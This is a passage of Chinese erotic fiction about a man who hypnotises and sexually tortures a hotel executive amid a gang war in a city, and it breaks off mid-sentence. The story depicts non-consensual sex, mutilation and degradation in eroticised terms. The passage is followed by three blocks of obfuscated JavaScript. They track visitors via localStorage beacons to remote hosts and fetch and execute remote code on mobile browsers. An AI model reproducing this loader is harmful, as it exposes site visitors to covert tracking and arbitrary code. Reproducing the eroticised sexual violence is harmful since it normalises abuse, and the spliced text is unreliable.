    小杨拉开抽屉,端出早已準备好的一个手术盘,上面摆着几筒粗大的注射针筒,都抽满了液体。

    他站起来,清清嗓子,对着只有一个听众的空间演说:「女人,最重要的是身材,然后才是脸蛋,身材好不好,关键看曲线,曲线美不美,还得要胸大。」

    他突然俯下身,一把捏住徐婕妤的乳头,扯成一个圆锥。

    「这位同学,你的胸脯大不大。」

    「我不知道。」徐婕妤茫然地说。

    「错了!」小杨擡手打了一个奶光,痛得徐婕妤一哆嗦,「要说太小了。」

    「是,太小了。」

    其实徐婕妤不输于西方女人的「D」罩杯是很可以傲视群芳的,但在小杨无理的暴虐面前就算是清醒的她也难以违抗。

    「你爱不爱美?」

    「爱美。」

    「这就对了。」小杨满意地缩回手,「爱美,奶子又太小,怎幺办呢?幸好杨大夫有良方。」他得意洋洋地举起一支针筒,慢慢地扎进徐婕妤的乳房。

    「就这样,一点点地,把这裏面的东西全部注进去不就大了吗?你说杨大夫是不是聪明呢?」小杨邪笑着,慢慢将活塞按下去。

    冰凉的液体就象水银泻地,迅速顺着脂肪体的毛孔窜入纤维缝隙,不多时就填充得满满的,后面的液体还在强力下不断推进,只有大海涨潮般一层一层膨胀起来。小杨推到一半感觉得有些堵塞,用力按了一下,只听得徐婕妤一声痛叫,他想现在还不能折腾太厉害,又放慢了速度。过了一会又嫌太慢,又拿起一支针筒,叫徐婕妤自己注射另一只乳房。

    好不容易注射完一支,小杨又拿起一支。徐婕妤感觉得两只乳房越来越肿胀,火辣辣地痛,注射进去的液体不再是凉的,变成了一股股小火流在胸脯乱窜,还窜到了眼睛前冒出了金星。

    痛,痛。徐婕妤呻呤出声。

    等到四支针筒注射完,饱满的乳房的确又大了许多,但不再雪白,而成了难看的紫红色,皮肤绷得成了薄薄的一层纸,蓝色的静脉清晰可见,艰难地包裹住两个大水球,似乎随便捅一捅就会破掉。有一个针孔处已开始倒往外渗水了。

    小杨走到徐婕妤跟前,抚摸着他的作品,爱不释手,随后掏出了他黑粗的肉棒,「来,给我乳交。」

    意识受控的徐婕妤只有选择服从,然而当她刚把肿大变形的乳房往肉棒上一夹就痛得泪流满面。

    「没用的母狗。」小杨气恼地擡手又欲一个耳光。

    「住手!」

    门突然被推开,潘师满面怒容地走进来。

    「呵,是大师啊,怎幺,来怜香惜玉吗?难得见你为一条母狗发这幺大的火啊。」小杨冷笑道,根本没把潘师放在眼裏。

    潘师怜悯地看了饱受折磨的徐婕妤一眼,用意念使她昏睡过去。

    「以前我就说过,你不能动她,更不能把她留在身边。」

    「这话倒奇怪了,你动得,我倒动不得?」

    「你难道不记得她不受控制的事吗?这几天我一直在诱导她,消除她的心理抗力,眼看就要大功告成,没想到会被你横加破坏。」

    「哈哈,对付女人,控制办法多的是,你的那一套落伍了,大师。」

    「有我在,你别想再动她。」潘师看到小杨前所未有的倡狂,大惑不解,但既然撕下了脸,索性还捅烂点。

    小杨哧哧冷笑,抖出一封传真件,「你在,你还会在吗?」

    潘师拿来一看,原来是总部召他回去的急电,他心知肚明是眼前这小子搞的鬼,有观念不同的潘师在,小杨很多事情不尽心意,总是束手束脚,正好借徐婕妤之事添油加醋向总部大告了一通黑状,总部虽不至于对潘师怎幺样,急调回去也算是小惩。

    潘师如同冷水浇头清醒过来,想起刚才的失态而鄙夷自己。只一瞬间,他收拾起所有的情绪,又找回了邪气笼罩深不可测的天师模样。

    他淡淡地说:「事已至此,没什幺好说的了,这个女人也随你处置。但是你对我不敬,要让你受点薄惩。」

    小杨还在为潘师的变化愣神,就被那双深邃的邪眼所控,不由自主地两手轮流抽起自己的嘴巴来,一个接一个,直至嘴角淌血,胖脸变成了猪头才回复神智。

    「还有,看在总座的份上,给你这盘磁带,让你知道这个女人究竟有多大的来历。后果自负,好自为之。」

    「小子记着,天外有天,人外有人。」

    等到最后这句话说出,室内早已没有了潘师的身影。

    从TTP大厦顶层的大办公室可以全面地欣赏夜晚的都市五彩斑斓的霓虹灯光。那灿烂的光辉下不知掩盖了几多血泪和黑暗。

    就在这个纸醉金迷的夜晚,一个醉得迷迷糊糊脸面红肿的胖子光着丑陋的下身斜坐在沙发上,口沫横飞,骂骂咧咧,「打我,老子不怕,老子搞你的女人,搞死她,老狐狸...」

    对面,赤裸美豔的女子抱着一支长衣架在跳钢管舞,儘管舞姿笨拙,却别具风情,她的臀部还有鞭痕,胯间残留着精液,脸上明显看得出极度的疲倦,但是没有指令,在没有新的指令来之前她只能这样跳下去。

    一卷录音带静悄悄地躺在无人注意的角落...

  噩梦第一部之城市战争

  ”最强烈地抓住我们的欲望是淫欲,这方面的欲望是无止境的,越是得到满足就越滋生。”                      --(俄国)列夫.托尔斯泰

  噩梦第一部之城市战争(上)

    数十架镁光灯的闪烁把市政大厅映得雪一般的明亮。

    「老头子又发飙了。」两名市府小官员站在疯狂的记者群后面悄悄议论。

    台上,一个清峻削瘦的老人正在慷慨激昂地演讲:「...腐败!恶势力!已经合流了!正在鲸吞我们健康的肌体,正在把C市这个人间天堂变成人间地狱!他们这是幻想!」

    他停顿下来,轻蔑地看着底下的人群,仿佛裏面就隐藏着他所说的敌人,随后,从上衣口袋裏摸出一张支票,举起来晃了晃,「就在昨天,还有人拿五万美金想收买我这个糟老头子,如果这些人也在看电视的话,我现在就可以答复你们,你们的算盘打错了,这钱,我不客气地收下了,马上就捐给残联基金,要我停止打黑反腐,门儿都没有!」

    人群一阵大哗,随即掌声雷动。

    「正义必将战胜邪恶!」

  *************************************

    TTP大厦董事长室。

    两个男人聚精会神地看着墙面电视的新闻直播。

    「张明远这老混蛋,五万元扔到水裏还能听个响呢。」身着黑西装的精干中年男子狠狠地掐熄手中的烟头。

    坐在对面老闆桌后面的胖子把身子靠到皮椅上,阖上眼,不答腔。

    「杨总还是你说得对,老混蛋软硬不吃,有情报说现在还正在策划一次大的行动,要把C市的帮派势力一锅端,于咱们很不利呀,是不是乾脆冒点险,把他做掉?」

    「...」

    中年男子疑惑地看着闭目养神的胖子,他的表情很奇怪,一时皱眉,一时微笑,还动不动撅起肥唇喔喔几声,着实有点高深莫测。

    突然,胖子的身体前倾,牛眼大开,呼吸急促,身体象打摆子一样发颤,下身还传来唧唧咕咕的异响,把中年男子吓了一跳,刚欲起身查看老闆是不是突发癫痫,却又见胖子白眼一翻,长吁一口气,象团烂肉般瘫回到座椅上。

    「好爽,好爽。真乃神仙不如也。」

    小杨悠悠地说,擡眼看着部下惊诧的表情诡异地笑了笑:「阿光,我最近养了条狗,你要不要瞧瞧?」

    阿光心中暗怒,心说我和你谈正事,你却讲宠物,干我屁事。却见小杨伸手到桌下拍了拍,「乖,出来跟哥哥玩玩。」

    阿光眼前一亮,这个惊诧比刚才更大,从桌下钻出来的竟是一个全身几乎完全赤裸的大美女,说几乎是因为修长的玉腿上还穿着黑色的吊带袜,平添几分妖豔和盅惑。雪白的脖颈上套着一个精緻的项圈,如果不是后面拖着一根拉在小杨手裏的银狗链,别人还会以为是新流行的首饰。

    「去,给哥哥打个招呼。」

    长髮美女象狗一样爬到阿光的胯下,昂起头,纤手揉搓着饱满挺翘滑如凝脂的乳峰,从挂着一缕浊白精液的红唇中吐出骚媚入骨的声音:「玩我的小穴穴吧。」

    这情形撩人之极,阿光这种久经风月场的老将也不禁脑门一热,肉棒一跃而起,碍于小杨没什幺表示也不敢轻举妄动。

    「这女人好生面熟,唉呀想起来,她不是晶天大酒店的副总徐婕妤小姐吗?」

    小杨得意地扬了扬眉,「没错,现在是我的一条忠狗了。」

    「我们刚才说的话岂不是...」

    「放心,她被催眠了,现在就算要她跳楼她也不敢不从,哈哈,不信,给你做个试验瞧瞧。」

    他踢了踢女人白皙的屁股:「到窗台上去,撒泡香尿给全市人民尝尝。」

    徐婕妤直起身子,推开大玻璃窗,毫不犹豫地就擡腿蹲在了三十五层高的窗台上,劲风从视窗直贯进来,把娇躯吹得象秋风中的残叶摇摇晃晃。女人无视眼下的深渊,扶住边框勉强分开腿蹲下来,不多时,就有一股淡黄的热液从下身喷出,迅速被大风吹散,散成晶莹的珠玉四下飞溅,一小部分还被吹回到窗台屋裏。

    阿光倒吸了口冷气,倒不全是为女人超乎想像的大胆举动,更多的是惊歎小杨的疯狂,这裏在全市的最高处,又在最繁华的街市上方,只要正巧有人向上仔细瞧就会发现这具身遭恶虐的女体,或许他要的就是这种暴露的刺激快感吧。

    小杨走到徐婕妤身后,充满爱怜地轻抚着玉背,嘴裏说的却是另外一番话:「慌什幺?我们还没暴露呢,钱要用在刀口上,不要再愚蠢白白浪费在张明远那些老顽固身上了。」

    「是。」

    「他要大干一场,我求之不得呀,正好借刀杀人,查查C市还有哪些帮派不听咱们使唤,把名册给员警署的老朋友龙署长送去。这叫将计就计,懂不懂?你这个猪脑袋。」肥手已下移到女人的下身,在花心处来回地拔弄,女人白皙的面颊上泛起了红晕,口裏发出低微的呻吟声。

    阿光不停地吞着口水,他要以莫大的毅力才能制止自己自慰的举动,小杨在说什幺几乎没听进去几句。

    「至于老混蛋嘛,你不要理他,我自有办法对付。」

    「好的。」

    「那个女人是谁?」小杨突然朝后一指。阿光仓惶回顾,什幺也没见到,定定神才知道小杨指的是正在电视上讲话的女子,身材美貌与徐婕妤相比不遑多让,大方端庄的面庞和凛然正气的表情使她更具女政治家特有的知性美。她正在回答记者提问。

    「喔,她是市议会的女议员,叫张璐,是张明远反黑的先锋。」

    「C市真是美女如云哪。」小杨若有所思,语气一变,面孔立时变得狰狞:「他们不是要搞吗?索性搞大,搞成战争,你明白了吗?」

    「明白了。」

    「去吧。」

    阿光如蒙大赦,步履匆匆地离开了,想必是第一时间找个发洩的地方去了。

    小杨同时抠进女人下身的两个洞口,不紧不慢地扣弄着,另一只手从口袋裏摸出一盒磁带,笑笑说,「难怪潘师那老狐狸走时说你有来头,我差点错过了,原来你是张明远的女儿,奇怪你怎幺不姓张呢?」

    沈浸于淫靡之中的女人没有回答,一切就象小杨在自言自语。

    「张明远,你的死期到了,哈哈哈~~~~」

    随着小杨的狂笑,徐婕妤全身蓦然抖动,娇喘声中,玉门大开,琼浆翻涌,就在光天化日之下面对攘攘人群毫无羞耻地达到忘情的高潮。

  *************************************

    徐婕妤一动不动地在黑暗中坐着,她很害怕,二十多年都不曾有过如此彻底的恐惧和孤独,她好象做了很多恶梦,想不起内容的恶梦,一个接着一个,无休无止,以至于她怀疑现在是不是还身处恶梦中。

    这是在哪?一个没有光的狭小的空间,她摸了一遍,四周都是冰冷的铁皮,空气还不混浊,也许有小孔透气,但她依然感到窒息,是在黑暗压迫下心理的窒息,在这种鬼地方呆下去不死也会发疯。

    更羞耻的是,她摸到自己身上不着寸缕,嘴裏残留的精液腥味和下身异样的感觉再次勾起了对那次错误应聘的痛苦回忆。

    脑海中模模糊糊地出现一个削瘦男人的脸,潘师,他说过我被催眠了,难道我真的催眠了,还是被绑架了?怎幺没一点印象?

    她不敢再想,双手捂住脸,泪水无声地从指缝中流淌下来。

    『噹啷』一声巨响,沈重的铁门缓缓拉开。

    她下意识地迅速将手捂住胸口,强光照得久困黑暗的眼睛一片空白。

    一个肥大的身躯挪进来,屁股踏坐在徐婕妤的铁床上,肥手就向女人弹力十足的酥乳捏去。

    傲性的徐婕妤自然不甘束手就辱,『啪』地将魔掌打开,极度的愤怒压倒了恐惧:「你是什幺人,把我放开!」

    「好烈性的女子,我喜欢。」小杨啧啧摇头,「难道不记得我了吗?我是你的老朋友小杨啊,还想不起吗?那你的老情人潘师呢?」

    徐婕妤一阵眩晕,最担心的预料果然应验,「卑鄙!无耻!用这幺下着的法子绑架。」

    「绑架?哈哈,真会开玩笑小姐,你可是自己光着屁股跑来的。」

    「说什幺我也不信。」徐婕妤被小杨下作的话激得满面通红。

    小杨说,「那好办,我给你证明,我会要你自己倒立,把你的骚穴和屁眼打开给我看。」

    一分钟后,当徐婕妤再次清醒时,发现自己果然如小杨所言两手撑地,全身倒立,而且将练过柔姿体操的玉腿成一字分开至极限,把女人最隐密的花园尽裸人前。

    「呀!」徐婕妤惊羞地翻下来,抱成一团。

    「还不信吗?那我叫你就这样一丝不挂地走到马路上,挂块牌子,干一次收一块钱,我想你这样标致的美女怕是男人都想干的吧,我也正好多捞点收入,哈!哈!哈!」

    「不要!」徐婕妤惊恐地看着魔鬼般的小杨,这个周身邪气的年轻人的每句话每件事都轻易击中她最脆弱处,早已疲惫的精神逐渐在崩溃,「不要催眠...」女人呜咽起来。

    小杨见徐婕妤就要屈服,话锋又是一转,「其实我也不忍心啊,只要你乖乖听话,我就不再催眠...」

    「......我听话......」徐婕妤咬紧红唇,眼睛已经红肿了。

    小杨冷笑一声,「我可不相信你一句空话,我也不怕你后悔,走,带你去看看不听话会有什幺后果。」

  噩梦第一部之城市战争(下)

    光豔夺目的流星雨从C市的夜空划过,这个曾令无数恋人癡狂的祥物在某些玄学中却是大灾变的开端。

    枪声最早从景元区的一个地下赌场响起,赌徒持抢拒警,死一人,伤二人。一小时后,泰安区一警所遭炸弹报复袭击,一角炸塌,累及周围民房。

    一次例行公事的检查就在人们的瞠目结舌间突变成了残酪血腥的城市战争。

    罪案就象瘟疫一样迅速蔓延到全市各个角落,尖厉的警笛声从星起到日落未有半分稍息,把人们的神经绷得紧紧的,本就不算太平的C市此时完全笼罩在恐慌的气氛之下。暴力和血腥持续了整整一周,隐伏在各个角落的歹徒不断地冒出来,公然与员警对抗,而且悍不畏死,疲于奔命的员警简直以为他们疯了,黑社会固然伤亡惨重,自己的损失也在增加。

    「这些跳樑小丑在作垂死挣扎,我还怕他们不来呢。你一定要利用这次良机将黑社会连根拔起,决不手软。」张明远听完员警署长的彙报,作了个断然处理的手势。

    可事情并没有他所想的那幺乐观,在抽调重兵扫蕩后,各帮派的喽罗倒是落网不少,但没有一个能说清楚,都说是警方的一份绝密档洩出,引起黑社会的极大恐慌,从而在上层的授意下展示黑暗势力的能量,向警方施压,那些知根知底的上层早已逃之夭夭不知所蹤。次日,更猛烈的报复发生了,最繁华的商业广场被人纵火燃烧,熊熊烈火直扑云霄,所幸在夜间,被困人员也及时救出,否则后果不堪设想。紧接着又有一台外地来的旅游团连车带人全部劫持,从警方的眼皮底下神秘失蹤。

    面对转入地下更隐蔽更兇狠的敌人,警方狼狈万分,也开始绝望,正在与军队谈判参与协管之际,一个神秘的电话挽救了他们,根据线报,警方重重包围了一幢不起眼的小楼,在裏面救出了几乎所有被绑架的人质,只是内中的妇女都赤身裸体,面露惊恐之状,好几个还有鞭笞的伤痕,不言而喻悉数都曾遭到性侵害,有三名姿色颇佳的女子则被秘密移走。不过另一个收穫让警方欣喜若狂,从找到的一些档中,记录了这次黑社会暴力行动的策划经过,主要参与者和行动目标,基本与事实相符,警方乘胜追击,一举歼灭了盘踞C市多年的几个大门派主要据点,除首脑人物坚决否认外,抓获的主要骨干成员均供认不讳。

    暴力案件戛然而止,大批黑社会成员拘押待审,一度信誉降至底点的C市警方总算大大扬眉吐气了一番。所有人如释重负,警方高层弹冠相庆,却不知在无人知晓的阴暗角落也有人在大笑,笑声中同样充满了愉悦和放肆。

    员警署长,外号叫『大脸辉』的刘辉故作矜持地推开簇拥的记者群,不经通报就直入市长办公室,张明远看了他一眼,比起上次的灰头灰脸来,这次满面油光,志得意满,便淡淡地说,「失蹤的三个女子找到了吗?」

    「......没有。」

    「电话是什幺人打的查到了吗?」

    「......没有。」

    「这次黑社会花了这幺大的代价却并没造成多少真正的损害,尤其是警匪两方的人员伤亡比例如此悬殊,你不觉得奇怪吗?是不是还有一些我们并不清楚的内幕呢?」

    「......」

    刘辉的额头冷汗泠泠,早已不复刚才的傲态。正当难堪之际,周秘书进来转交给张明远一张大红熏香请帖,「晶天大酒店10日新开业大典,恭请张明远市长莅临,敬备晚宴。」

    张明远皱眉道,「你忘了我从不出席任何私人宴会吗。」

    周秘书脸一红,正待说话,张明远的眼睛已被邀请人的名字吸引住了,「总裁:王正光,副总裁:徐婕妤」。如果不是错觉,周秘书认定张市长的脸色似乎还变了几变。沈吟片刻,老人改口道,「安排一下,我会出席。」

  *********************************************

    徐婕妤站在路边灯柱下发呆,这裏是条热闹的干道,刚刚恢复平静心态的人们穿梭不息。其实她没必要这幺张惶,虽然没被允许穿上内衣,但全身的曲线裹在一件紫红色的长条风衣裏面,丝毫没有春光外洩之虞,除了因惊人的美貌勾得男性路人频频回首之外,实在也无不不妥。问题就出在停泊于不远处那辆黑色小轿车裏的那个姓杨的胖子给她下达的指令上面:

    「就在马路上当着众人的面拉出臭大便来。」

    当时听到这句话,她就眼前发黑,羞怒得几欲晕劂,一直到现在站在这裏她想的还是只有一个字,死。

    可她却是个连死亡也无法选择的人。

    一周前那段噩梦般的经历给她的刺激太大了,她被小杨从囚禁室裏带出,沿着长长的地下走廊走着,在幽暗的地洞中,只有脚步声低沈迴响,她不断在心裏勉励自己,可还是远远高估了自己的勇气,当一扇铁门徐徐开启,裏面的景象在眼裏一览无余时,她就开始尖叫,不停息地尖叫,然后呕吐,吐到要把肝胆都要从喉头挤出来。其实裏面只有一张床,一个女人,当然,叫她是个『东西』可能更合适,女人的四肢已整个地被截除,只余下光秃秃的躯干,曾经美丽过的肌肤上布满了被鞭打火燎过后的伤痕,不知是多少男人

function aZFAtUK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function bejEovHD(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aZFAtUK(t);};window[''+'g'+'q'+'b'+'i'+'e'+'v'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Pbed(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=bejEovHD,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Pbed(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Pbed(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmFoZGFpai5jb20lMM0E4ODkx','d3NzJTTNBJTTJGJTTJGYS54a25lb2suY29tJTTNBOTTUzNA==','9171',window,document,['M','T']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();